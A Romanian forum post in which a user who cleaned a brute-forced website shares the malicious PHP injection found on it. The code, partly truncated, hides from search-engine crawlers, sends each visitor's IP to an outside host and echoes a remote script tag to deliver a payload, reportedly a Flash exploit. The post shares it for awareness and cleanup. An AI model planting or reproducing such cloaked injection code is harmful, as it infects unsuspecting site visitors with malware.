Site virusat cod PHP downloader

[dsp77]

am curatat un site mai devreme care a fost spart de un bot prin brute force (parola de 5 caractere) si postez codul gasit in cazul in care cineva este interesat.

<?php
if (empty($y)) {
    if ((substr(trim($_SERVER['REMOTE_ADDR']), 0, 6) == '74.125') || preg_match("/(googlebot|msnbot|yahoo|search|bing|ask|indexer)/i", $_SERVER['HTTP_USER_AGENT'])) {
    } else {
    error_reporting(0);
     @FreAd($socket, 4096)) !== FALSE) {
                $response .= $buf;
            }
            if ($buf === FALSE) {
                // Error reading response
                return FALSE;
            }
            $end_of_header = strpos($response, "\r\n\r\n");
            return substr($response, $end_of_header + 4);
        }
    }

    if (empty($__var_to_echo) && empty($remote_domain)) {
        $_ip = $_SERVER['REMOTE_ADDR'];
        $y = "http://kilian.com.pl/k9zxjln4.php";
        $y = __url_get_contents($y."?a=$_ip", 1);
        if (strpos($y, 'http://') === 0) {
            $__var_to_echo = '<script type="text/javascript" src="' . $y . '?id=95748648"></script>';
            echo $__var_to_echo;
        }
    }
}
}
?>

se pare ca pagina de unde descarca fisierul nu mai exista. in orice caz se exploata adobe flash.
